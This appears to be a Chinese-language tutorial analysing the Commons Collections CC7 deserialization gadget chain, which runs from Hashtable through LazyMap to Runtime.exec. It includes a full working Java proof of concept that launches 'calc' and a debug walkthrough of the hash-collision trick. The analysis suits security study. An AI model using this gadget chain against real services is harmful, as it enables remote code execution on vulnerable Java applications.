0x01 前言

CC7和CC6差别不大,从理解的角度更为复杂一些。source从HashSet/HashMap更改为HashTable。jdk无限制、cc要求3.2.2之前或者cc4.0。

0x02 相关知识

HashTable

哈希表(HashTable)又叫做散列表,是根据关键码值(即键值对)而直接访问的数据结构。也就是说,它通过把关键码映射到表中一个位置来访问记录,以加快查找速度。Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放元素(键值对)。其readObject方法存在以下代码,表示从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化
image.png
查看reconstitutionPut方法,HashTable中会计算元素key的hash,将被查找的key转化为数组的索引。reconstitutionPut方法会将当前插入的key与已经插入的key进行比较,如果发生冲突则会抛出异常。而我们需要利用hash碰撞执行e.key.equals(key)方法。
image.png
LazyMap不存在equals方法,会找到LazyMap的父类AbstractMapDecorator的equals方法
image.png
AbstractMapDecorator会调用this.map的equals方法,this.map是LazyMap#decorate方法传入的HashMap,
image.png
image.png
而HashMap中不存在equals方法,会调用其父类AbstractMap的equals方法
image.png
其中m.get(key)会触发利用链,m就是我们传入的LazyMap。

0x03 利用链分析

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.HashMap;
  9. import java.util.Hashtable;
  10. import java.util.Map;
  11. public class cc7 {
  12. public static void main(String[] args) throws Exception {
  13. // sink
  14. Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
  15. Transformer[] transformers = new Transformer[]{
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod",
  18. new Class[]{String.class, Class[].class},
  19. new Object[]{"getRuntime", new Class[0]}),
  20. new InvokerTransformer("invoke",
  21. new Class[]{Object.class, Object[].class},
  22. new Object[]{null, new Object[0]}),
  23. new InvokerTransformer("exec",
  24. new Class[]{String.class},
  25. new String[]{"calc"}),
  26. new ConstantTransformer(1)};
  27. //使用Hashtable来构造利用链调用LazyMap
  28. Map hashMap1 = new HashMap();
  29. Map hashMap2 = new HashMap();
  30. Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
  31. lazyMap1.put("yy", 1);
  32. Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
  33. lazyMap2.put("zZ", 1);
  34. Hashtable hashtable = new Hashtable();
  35. hashtable.put(lazyMap1, 1);
  36. hashtable.put(lazyMap2, 1);
  37. lazyMap2.remove("yy");
  38. //输出两个元素的hash值
  39. System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
  40. System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
  41. //iTransformers = transformers(反射)
  42. Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
  43. iTransformers.setAccessible(true);
  44. iTransformers.set(transformerChain, transformers);
  45. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  46. ObjectOutputStream oos = new ObjectOutputStream(barr);
  47. oos.writeObject(hashtable);
  48. oos.close();
  49. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  50. ois.readObject();
  51. }
  52. }

第一部分跟CC6一样,创建ChainedTransformer触发链式调用

  1. Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
  2. Transformer[] transformers = new Transformer[]{
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod",
  5. new Class[]{String.class, Class[].class},
  6. new Object[]{"getRuntime", new Class[0]}),
  7. new InvokerTransformer("invoke",
  8. new Class[]{Object.class, Object[].class},
  9. new Object[]{null, new Object[0]}),
  10. new InvokerTransformer("exec",
  11. new Class[]{String.class},
  12. new String[]{"calc"}),
  13. new ConstantTransformer(1)};

第二部分新建了两个LazyMap对象,并将这两个对象添加到hashtable中,其中remove语句比较难以理解,需要调试分析。

  1. Map hashMap1 = new HashMap();
  2. Map hashMap2 = new HashMap();
  3. Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
  4. lazyMap1.put("yy", 1);
  5. Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
  6. lazyMap2.put("zZ", 1);
  7. Hashtable hashtable = new Hashtable();
  8. hashtable.put(lazyMap1, 1);
  9. hashtable.put(lazyMap2, 1);
  10. lazyMap2.remove("yy");

在将两个lazyMap放入hashTable中后,lazyMap1和lazyMap2中的key-value如图,lazyMap2增加了一个yy-yy键值对。
image.png
我们首先来分析,为什么lazyMap2增加了一个元素,跟进hashtable.put(lazyMap2),首先会计算lazyMap2的哈希,然后根据哈希索引找到该hash对应位置的元素,因为lazyMap1和lazyMap2的hash是相同的,所以会调用entry.key.equals(key),参数key是LazyMap2。
image.png
LazyMap不存在equals方法,但其父类AbstractMapDecorator存在equals方法
image.png
接着调用HashMap.equals,参数是lazyMap2,但HashMap不存在equals方法,调用其父类AbstractMap的equals方法。
image.png
接着m.get(key),m是lazyMap2,调用LazyMap.get方法,其中key是lazyMap1中的key,由于lazyMap2不存在key:”yy”,进入判断体,给lazyMap2添加一个键值对”yy”:”yy”。
image.png
那为什么lazyMap1没有增加元素呢?跟进调试,因为entry为null,所以不会进入循环体。
image.png
还有一个问题,为什么两个LazyMap的hash会相同呢?跟进函数可知,LazyMap同样不存在hashCode方法,而是其父类AbstractMapDecorator存在。
image.png
而该方法会调用HashMap的hashCode方法,然而HashMap同样也没有hashCode方法,得靠它得父类AbstractMap#hashCode。该方法会对每一个元素进行hashCode并求和。
image.png
跟进发现每一个i.next实际对象为HashMap$Node,会调用静态内部类Node#hashCode方法。
image.png
而HashMap$Node#hashCode中会调用Objects#hashCode方法对key和value得hash进行亦或运算。
image.png
接着会调用”yy”.hashCode方法,实际会调用java.lang.String#hashCode方法,该方法会返回String对象得hash值。
image.png
而对我们传入的参数1调用hashCode方法,实际会调用java.lang.Integer#hashCode方法,返回Integer对象的hash。Integer哈希就等于其值本身。综上3873异或1为3872。
image.png
第三部分则是将transformers通过反射赋给ChainedTransformer的iTransformers属性,完成整个链的构造。

  1. //iTransformers = transformers(反射)
  2. Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
  3. iTransformers.setAccessible(true);
  4. iTransformers.set(transformerChain, transformers);

利用链:

  1. ObjectInputStream.readObject()
  2. HashTable.readObject()
  3. HashTable.reconstitutionPut()
  4. AbstractMapDecorator.equals()
  5. AbstractMap.equals()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InvokerTransformer.transform()
  10. Method.invoke()
  11. Class.getMethod()
  12. InvokerTransformer.transform()
  13. Method.invoke()
  14. Runtime.getRuntime()
  15. InvokerTransformer.transform()
  16. Method.invoke()
  17. Runtime.exec()

0x04 利用链调试

HashTable#readObject
image.png
HashTable#reconstitutionPut,第一个LazyMap由于e为null,不会发生冲突,直接将该lazyMap1添加到HashTable中,因此不会触发利用链。
image.png
看第二个lazyMap的HashTable#reconstitutionPut,由于hash冲突,会进入LazyMap#quals方法
image.png
LazyMap无equals方法,进入其父类AbstractMapDecorator#equals
image.png
该方法,会调用map.equals,map对象是我们decorate时传入的HashMap,这里会调用HashMap#equals方法,实际equals方法是继承其父类AbstractMap#equals
image.png
接着m.get(key)会触发LazyMap#get方法,传入的参数是LazyMap1的key,即”yy”。如果在利用链不删除lazyMap2的”yy”,就不会触发transform方法。
LazyMap#get
image.png
ChainedTransformer#transform
image.png
image.png

0x05 总结

CC7会比CC6绕一些,主要是source入口类为HashTable,其实也可以把CC7的sink更改为TemplatesImpl类,通过TrAXFilter-InstantiateTransformer处理再交给LazyMap包装。由于source的问题,CC7对jdk无限制,对cc限制为3.2.1及其之前,cc4.0。